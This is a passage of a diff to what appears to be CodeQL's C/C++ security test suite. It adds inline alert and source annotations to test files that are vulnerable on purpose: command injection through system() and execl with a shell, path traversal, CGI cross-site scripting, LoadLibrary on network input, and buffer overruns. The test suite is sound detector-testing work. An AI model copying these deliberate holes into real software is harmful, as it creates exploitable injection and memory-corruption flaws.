(i = 0; i < 10; i--); // Bad: No increment. // $ Alert + while (i < 10) { } // Bad: No increment. // $ Alert + do { i += 2; } while (i > 10); // Bad: No decrement. // $ Alert + while (i > 10) { if (i < 5) i--; } // Bad: Conditional decrement. // $ Alert + while (i < bound) { i++; bound++; } // Bad: Bound modified in loop. // $ Alert + while (i < bound) { i++; bound >>= 1; } // Bad: Bound modified in loop. // $ Alert + while (i > bound) { i--; bound += 1; } // Bad: Bound modified in loop. // $ Alert + while (i > bound) { i--; bound = bound; } // Bad: Bound modified in loop. // $ Alert + for (; xs->next; xs = xs->next); // Bad: No bound. // $ Alert + while (i <= -i) {} // Bad: Hidden infinite loop. // $ Alert while (i < 10) { i = i + 1; } // Good: Fixed bound. while (i > 10) { i = i - 1; } // Good: Fixed bound. - while (i < 10) { i = 0; } // Bad: increment outside loop - while (i > 10) { i = 0; } // Bad: decrement outside loop - while (i > 10) { i = 1 - i; } // Bad: Swapped operands to `-` + while (i < 10) { i = 0; } // Bad: increment outside loop // $ Alert + while (i > 10) { i = 0; } // Bad: decrement outside loop // $ Alert + while (i > 10) { i = 1 - i; } // Bad: Swapped operands to `-` // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-014/MemsetMayBeDeleted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-014/MemsetMayBeDeleted.qlref index e81526fe6d9d..bc89bc58f77a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-014/MemsetMayBeDeleted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-014/MemsetMayBeDeleted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-014/MemsetMayBeDeleted.ql +query: Security/CWE/CWE-014/MemsetMayBeDeleted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-014/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-014/test.cpp index 1e0ed7d70f00..d859a263780d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-014/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-014/test.cpp @@ -45,7 +45,7 @@ char *func2(char buff[128], unsigned long long sz) { void func3(unsigned long long sz) { char buff[128]; gets(buff); - memset(buff, 0, PW_SIZE); // BAD + memset(buff, 0, PW_SIZE); // BAD // $ Alert } // x86-64 gcc 9.2: deleted @@ -76,7 +76,7 @@ void func5(unsigned long long sz) { void func6(unsigned long long sz) { struct mem m; gets(m.b); - memset(&m, 0, PW_SIZE); // BAD + memset(&m, 0, PW_SIZE); // BAD // $ Alert } // x86-64 gcc 9.2: deleted @@ -205,7 +205,7 @@ void badFunc0_0(){ for(int i = 0; i < PW_SIZE; i++) { buff1[i] = 13; } - memset(buff1, 0, PW_SIZE); // BAD + memset(buff1, 0, PW_SIZE); // BAD // $ Alert } void nobadFunc1_0() { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp index 876584c51174..e0ad12c94688 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp @@ -52,7 +52,7 @@ void bad() if (FILENAME_MAX-dataLen > 1) { /* POTENTIAL FLAW: Read data from the console */ - if (fgets(data+dataLen, (int)(FILENAME_MAX-dataLen), stdin) != NULL) + if (fgets(data+dataLen, (int)(FILENAME_MAX-dataLen), stdin) != NULL) // $ Source { /* The next few lines remove the carriage return from the string that is * inserted by fgets() */ @@ -74,7 +74,7 @@ void bad() { FILE *pFile = NULL; /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */ - pFile = FOPEN(data, "wb+"); + pFile = FOPEN(data, "wb+"); // $ Alert if (pFile != NULL) { fclose(pFile); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.qlref index 1677939387da..399ff4f1909f 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-022/TaintedPath.ql \ No newline at end of file +query: Security/CWE/CWE-022/TaintedPath.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/ExecTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/ExecTainted.qlref index 9fe2347270f2..4e996a47ad54 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/ExecTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/ExecTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-078/ExecTainted.ql \ No newline at end of file +query: Security/CWE/CWE-078/ExecTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/tests.cpp index 80f8221d9033..c8918ffc45e2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-078/SAMATE/ExecTainted/tests.cpp @@ -30,7 +30,7 @@ static char * badSource(char * data) { /* Append input from an environment variable to data */ size_t dataLen = strlen(data); - char * environment = GETENV(ENV_VARIABLE); + char * environment = GETENV(ENV_VARIABLE); // $ Source /* If there is data in the environment variable */ if (environment != NULL) { @@ -50,7 +50,7 @@ void CWE78_OS_Command_Injection__char_environment_system_21_bad() badStatic = 1; /* true */ data = badSource(data); /* POTENTIAL FLAW: Execute command in data possibly leading to command injection [NOT DETECTED] */ - if (SYSTEM(data) != 0) + if (SYSTEM(data) != 0) // $ Alert { printLine("command execution failed!"); exit(1); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/ExecTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/ExecTainted.qlref index 1de765a2fdf1..4e996a47ad54 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/ExecTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/ExecTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-078/ExecTainted.ql +query: Security/CWE/CWE-078/ExecTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/test.cpp index 8c7651f32756..3749d6137953 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-078/semmle/ExecTainted/test.cpp @@ -12,7 +12,7 @@ extern void encodeShellString(char *shellStr, int maxChars, const char* cStr); #include "../../../../../../include/string.h" ///// Test code ///// -int main(int argc, char** argv) { +int main(int argc, char** argv) { // $ Source char *userName = argv[2]; { @@ -20,7 +20,7 @@ int main(int argc, char** argv) { // a command. char command1[1000] = {0}; sprintf(command1, "userinfo -v \"%s\"", userName); - system(command1); + system(command1); // $ Alert } { @@ -44,11 +44,11 @@ void test2(char* arg2) { void test3(char* arg1) { // GOOD?: the user string is a `$CFLAGS` environment variable - char *envCflags = getenv("CFLAGS"); + char *envCflags = getenv("CFLAGS"); // $ Source char command[1000]; sprintf(command, "%s %s", arg1, envCflags); - system(command); + system(command); // $ Alert } typedef unsigned long size_t; @@ -60,10 +60,10 @@ char *strncat(char *s1, const char *s2, size_t n); void test4(FILE *f) { // BAD: the user string is injected directly into a command char command[1000] = "mv ", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source strncat(command, filename, 1000); - system(command); + system(command); // $ Alert } void test5(FILE *f) { @@ -80,19 +80,19 @@ int execl(char *path, char *arg1, ...); void test6(FILE *f) { // BAD: the user string is injected directly into a command char command[1000] = "mv ", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source strncat(command, filename, 1000); - execl("/bin/sh", "sh", "-c", command); + execl("/bin/sh", "sh", "-c", command); // $ Alert } void test7(FILE *f) { // GOOD [FALSE POSITIVE]: the user string is a positional argument to a shell script char path[1000] = "/home/me/", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source strncat(path, filename, 1000); - execl("/bin/sh", "sh", "-c", "script.sh", path); + execl("/bin/sh", "sh", "-c", "script.sh", path); // $ Alert } void test8(char *arg2) { @@ -104,21 +104,21 @@ void test8(char *arg2) { void test9(FILE *f) { // BAD: the user string is injected directly into a command - std::string path(getenv("something")); + std::string path(getenv("something")); // $ Source std::string command = "mv " + path; - system(command.c_str()); + system(command.c_str()); // $ Alert } void test10(FILE *f) { // BAD: the user string is injected directly into a command - std::string path(getenv("something")); - system(("mv " + path).c_str()); + std::string path(getenv("something")); // $ Source + system(("mv " + path).c_str()); // $ Alert } void test11(FILE *f) { // BAD: the user string is injected directly into a command - std::string path(getenv("something")); - system(("mv " + path).data()); + std::string path(getenv("something")); // $ Source + system(("mv " + path).data()); // $ Alert } int atoi(char *); @@ -138,10 +138,10 @@ void test13(FILE *f) { char str[1000]; char command[1000]; - fread(str, 1, 1000, f); + fread(str, 1, 1000, f); // $ Source sprintf(command, "echo %s", str); - system(command); // BAD: the user string was printed into the command with the %s specifier + system(command); // BAD: the user string was printed into the command with the %s specifier // $ Alert } void test14(FILE *f) { @@ -172,7 +172,7 @@ void test15(FILE *f) { void test16(FILE *f, bool use_flags) { // BAD: the user string is injected directly into a command char command[1000] = "mv ", flags[1000] = "-R", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source if (use_flags) { strncat(flags, filename, 1000); @@ -181,7 +181,7 @@ void test16(FILE *f, bool use_flags) { strncat(command, filename, 1000); } - execl("/bin/sh", "sh", "-c", command); + execl("/bin/sh", "sh", "-c", command); // $ Alert } void concat(char *command, char *flags, char *filename) { @@ -192,11 +192,11 @@ void concat(char *command, char *flags, char *filename) { void test17(FILE *f) { // BAD: the user string is injected directly into a command char command[1000] = "mv ", flags[1000] = "-R", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source concat(command, flags, filename); - execl("/bin/sh", "sh", "-c", command); + execl("/bin/sh", "sh", "-c", command); // $ Alert } void test18() { @@ -216,11 +216,11 @@ void test18() { void test19(FILE *f) { // BAD: the user string is injected directly into a command char command[1000] = "mv ", filename[1000]; - fread(filename, 1, 1000, f); + fread(filename, 1, 1000, f); // $ Source CONCAT(command, filename) - execl("/bin/sh", "sh", "-c", command); + execl("/bin/sh", "sh", "-c", command); // $ Alert } void test20() { @@ -228,10 +228,10 @@ void test20() { char buffer[1024 * 4]; strncpy(buffer, getenv("var_a"), 1024); - strncat(buffer, getenv("var_b"), 1024); - strncat(buffer, getenv("var_c"), 1024); + strncat(buffer, getenv("var_b"), 1024); // $ Source + strncat(buffer, getenv("var_c"), 1024); // $ Source strncat(buffer, " ", 1024); - system(buffer); + system(buffer); // $ Alert } void test21() { @@ -240,13 +240,13 @@ void test21() { char buffer2[1024]; sprintf(buffer1, "%s %s", - getenv("var_a"), - getenv("var_b")); + getenv("var_a"), // $ Source + getenv("var_b")); // $ Source sprintf(buffer2, "%s %s %s", " ", buffer1, - getenv("var_c")); - system(buffer2); + getenv("var_c")); // $ Source + system(buffer2); // $ Alert } void test22() { @@ -256,9 +256,9 @@ void test22() { strncpy(buffer, "command ", 1024); for (i = 0; i < 10; i++) { - strncat(buffer, getenv("var_a"), 1024); + strncat(buffer, getenv("var_a"), 1024); // $ Source } - system(buffer); + system(buffer); // $ Alert } // open question: do we want to report certain sources even when they're the start of the string? diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/CgiXss.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/CgiXss.qlref index bd5e957761b3..1192c6d67f56 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/CgiXss.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/CgiXss.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-079/CgiXss.ql +query: Security/CWE/CWE-079/CgiXss.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/search.c b/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/search.c index 9369d80fd913..830a5919eb3c 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/search.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-079/semmle/CgiXss/search.c @@ -14,13 +14,13 @@ char* escape_html(char* raw); void bad_server1(char* query) { puts("

Query results for "); // BAD: Printing out an HTTP parameter with no escaping - puts(query); + puts(query); // $ Alert puts("\n

\n"); puts(do_search(query)); } void bad_server2(char* query) { - printf("

Query results for %s\n", query); + printf("

Query results for %s\n", query); // $ Alert // BAD: Printing out an HTTP parameter with no escaping puts("\n

"); puts(do_search(query)); @@ -59,12 +59,12 @@ void bad_server3(char* query) { puts("

Query results for "); // BAD: Printing out an HTTP parameter with no escaping - puts(query_text); + puts(query_text); // $ Alert puts("\n

\n"); } int main(int argc, char** argv) { - char* raw_query = getenv("QUERY_STRING"); + char* raw_query = getenv("QUERY_STRING"); // $ Source if (strcmp("good1", argv[0]) == 0) { good_server1(raw_query); } else if (strcmp("bad1", argv[0]) == 0) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref index a9ca1db51997..57318b8ffeb2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-114/UncontrolledProcessOperation.ql +query: Security/CWE/CWE-114/UncontrolledProcessOperation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/test.cpp index 299e0372d4ae..bae7e5fdf995 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-114/SAMATE/UncontrolledProcessOperation/test.cpp @@ -40,7 +40,7 @@ void CWE114_Process_Control__w32_char_environment_82_bad::action(char * data) HMODULE hModule; /* POTENTIAL FLAW: If the path to the library is not specified, an attacker may be able to * replace his own file with the intended library */ - hModule = LoadLibraryA(data); + hModule = LoadLibraryA(data); // $ Alert if (hModule != NULL) { FreeLibrary(hModule); @@ -61,7 +61,7 @@ void bad() { /* Append input from an environment variable to data */ size_t dataLen = strlen(data); - char * environment = GETENV(ENV_VARIABLE); + char * environment = GETENV(ENV_VARIABLE); // $ Source /* If there is data in the environment variable */ if (environment != NULL) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref index a9ca1db51997..57318b8ffeb2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/UncontrolledProcessOperation.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-114/UncontrolledProcessOperation.ql +query: Security/CWE/CWE-114/UncontrolledProcessOperation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/test.cpp index ed3adcb8d809..064ba375a0f4 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-114/semmle/UncontrolledProcessOperation/test.cpp @@ -23,12 +23,12 @@ class MyDerived : public MyBase void doCommand2(const char *command) { - system(command); // BAD (externally controlled string) + system(command); // BAD (externally controlled string) // $ Alert } void doCommand3(const char *command) { - system(command); // BAD (externally controlled string) + system(command); // BAD (externally controlled string) // $ Alert } }; @@ -39,8 +39,8 @@ void testMyDerived() MyBase *md3 = new MyDerived; // MyBase pointer to a MyDerived md1->doCommand1("fixed"); - md2->doCommand2(getenv("varname")); - md3->doCommand3(getenv("varname")); + md2->doCommand2(getenv("varname")); // $ Source + md3->doCommand3(getenv("varname")); // $ Source } // --- @@ -53,16 +53,16 @@ void testReferencePointer1() { char buffer[1024]; - if (fgets(buffer, 1024, stdin) != 0) + if (fgets(buffer, 1024, stdin) != 0) // $ Source { char *data = buffer; char *&dataref = data; char *data2 = dataref; - system(buffer); // BAD - system(data); // BAD - system(dataref); // BAD - system(data2); // BAD + system(buffer); // BAD // $ Alert + system(data); // BAD // $ Alert + system(dataref); // BAD // $ Alert + system(data2); // BAD // $ Alert } } @@ -73,9 +73,9 @@ void testReferencePointer2() char *&dataref = data; char *data2 = dataref; - if (fgets(buffer, 1024, stdin) != 0) + if (fgets(buffer, 1024, stdin) != 0) // $ Source { - system(buffer); // BAD + system(buffer); // BAD // $ Alert system(data); // BAD system(dataref); // BAD [NOT DETECTED] system(data2); // BAD [NOT DETECTED] @@ -95,21 +95,21 @@ void testAcceptRecv(int socket1, int socket2) { char buffer[1024]; - recv(socket1, buffer, 1024); - LoadLibrary(buffer); // BAD: using data from recv + recv(socket1, buffer, 1024); // $ Source + LoadLibrary(buffer); // BAD: using data from recv // $ Alert } { char buffer[1024]; accept(socket2, 0, 0); - recv(socket2, buffer, 1024); - LoadLibrary(buffer); // BAD: using data from recv + recv(socket2, buffer, 1024); // $ Source + LoadLibrary(buffer); // BAD: using data from recv // $ Alert } } void argumentUse(char *ptr, FILE *stream) { char buffer[80]; - ptr = fgets(buffer, sizeof(buffer), stream); - system(ptr); // BAD + ptr = fgets(buffer, sizeof(buffer), stream); // $ Source + system(ptr); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/BadlyBoundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/BadlyBoundedWrite.qlref index 9636c74d0a8f..76b6e5900218 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/BadlyBoundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/BadlyBoundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/BadlyBoundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/BadlyBoundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OffsetUseBeforeRangeCheck.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OffsetUseBeforeRangeCheck.qlref index d934901f174f..0e9b8f83382e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OffsetUseBeforeRangeCheck.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OffsetUseBeforeRangeCheck.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql \ No newline at end of file +query: Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowBuffer.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowBuffer.qlref index 5c2bacec579f..bb308ea4b215 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowBuffer.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowBuffer.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-119/OverflowBuffer.ql \ No newline at end of file +query: Security/CWE/CWE-119/OverflowBuffer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowDestination.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowDestination.qlref index a4213e22fcd7..0e0d1d3792de 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowDestination.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowDestination.qlref @@ -1 +1,2 @@ -Critical/OverflowDestination.ql \ No newline at end of file +query: Critical/OverflowDestination.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowStatic.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowStatic.qlref index 9ff1c3b33dc5..93d88e7802a0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowStatic.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverflowStatic.qlref @@ -1 +1,2 @@ -Critical/OverflowStatic.ql \ No newline at end of file +query: Critical/OverflowStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWrite.qlref index f6c962c1a7b4..18ae0f2a567b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteFloat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteFloat.qlref index 757d1592e830..ba8f6a96a1fd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteFloat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteFloat.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWriteFloat.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWriteFloat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteProductFlow.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteProductFlow.qlref index 1a418e6abc6a..8ea70c432a1a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteProductFlow.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/OverrunWriteProductFlow.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-119/OverrunWriteProductFlow.ql \ No newline at end of file +query: Security/CWE/CWE-119/OverrunWriteProductFlow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/StrncpyFlippedArgs.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/StrncpyFlippedArgs.qlref index bf0bf1ea7d05..3a2ef158d3d6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/StrncpyFlippedArgs.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/StrncpyFlippedArgs.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/StrncpyFlippedArgs.ql \ No newline at end of file +query: Likely Bugs/Memory Management/StrncpyFlippedArgs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/UnboundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/UnboundedWrite.qlref index 767f2ea4db9d..36c47957d339 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/UnboundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/UnboundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/UnboundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/UnboundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/VeryLikelyOverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/VeryLikelyOverrunWrite.qlref index 94b53951c4b7..8dcc2f70c2f6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/VeryLikelyOverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/VeryLikelyOverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/test.cpp index ca6ca9a5c5a8..afba134ead8a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/test.cpp @@ -15,7 +15,7 @@ typedef struct string_t *mk_string_t(int size) { string_t *str = (string_t *) malloc(sizeof(string_t)); - str->string = malloc(size); + str->string = malloc(size); // $ Source[cpp/overrun-write] str->size = size; return str; } @@ -39,7 +39,7 @@ void test3(unsigned size, char *buf, unsigned anotherSize) { string_t *str = mk_string_t(size); strncpy(str->string, buf, str->size); // GOOD - strncpy(str->string, buf, str->size + 1); // BAD + strncpy(str->string, buf, str->size + 1); // BAD // $ Alert[cpp/overrun-write] strncpy(str->string, buf, size); // GOOD strncpy(str->string, buf, size + 1); // BAD [NOT DETECTED] @@ -69,7 +69,7 @@ void test3(unsigned size, char *buf, unsigned anotherSize) { } if(anotherSize <= str->size + 1) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= size + 1) { @@ -77,7 +77,7 @@ void test3(unsigned size, char *buf, unsigned anotherSize) { } if(anotherSize <= str->size + 2) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= size + 2) { @@ -144,16 +144,16 @@ void test4(unsigned size, char *buf, unsigned anotherSize) { void test5(unsigned size, char *buf, unsigned anotherSize) { string_t *str = (string_t *) malloc(sizeof(string_t)); - str->string = malloc(size - 1); + str->string = malloc(size - 1); // $ Source[cpp/overrun-write] str->size = size - 1; strncpy(str->string, buf, str->size); // GOOD strncpy(str->string, buf, str->size - 1); // GOOD - strncpy(str->string, buf, str->size + 1); // BAD + strncpy(str->string, buf, str->size + 1); // BAD // $ Alert[cpp/overrun-write] - strncpy(str->string, buf, size); // BAD + strncpy(str->string, buf, size); // BAD // $ Alert[cpp/overrun-write] strncpy(str->string, buf, size - 1); // GOOD - strncpy(str->string, buf, size + 1); // BAD + strncpy(str->string, buf, size + 1); // BAD // $ Alert[cpp/overrun-write] if(anotherSize < str->size) { strncpy(str->string, buf, anotherSize); // GOOD @@ -172,7 +172,7 @@ void test5(unsigned size, char *buf, unsigned anotherSize) { } if(anotherSize <= size) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= size - 1) { @@ -184,7 +184,7 @@ void test5(unsigned size, char *buf, unsigned anotherSize) { } if(anotherSize < size + 1) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize < size - 1) { @@ -192,19 +192,19 @@ void test5(unsigned 